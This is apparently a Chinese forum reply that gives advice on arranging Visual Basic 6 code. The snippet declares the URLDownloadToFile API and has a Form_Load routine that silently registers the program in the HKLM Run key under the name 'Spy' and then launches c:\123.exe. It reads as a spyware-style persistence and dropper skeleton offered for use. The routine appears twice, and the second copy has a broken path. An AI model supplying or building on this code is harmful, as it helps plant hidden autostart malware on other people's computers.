Private Declare
的语句放在一起
Private Sub xxx
的放在一起,xxx要相同,当然也可以不同,看你怎么用了。
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Load()
On Error Resume Next
Shell "cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Spy /d """ _
& App.Path & "\" & App.EXEName & ".exe", vbNormal
shell "c:\123.exe"
End Sub
'没有能够到API我就把他去掉了
Private Sub Form_load()
On Error Resume Next
Shell "cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Spy /d """ _
& App.Path & "\" & App.EXEName & ".exe", vbNormal
shell "c;\123.exe"
End Sub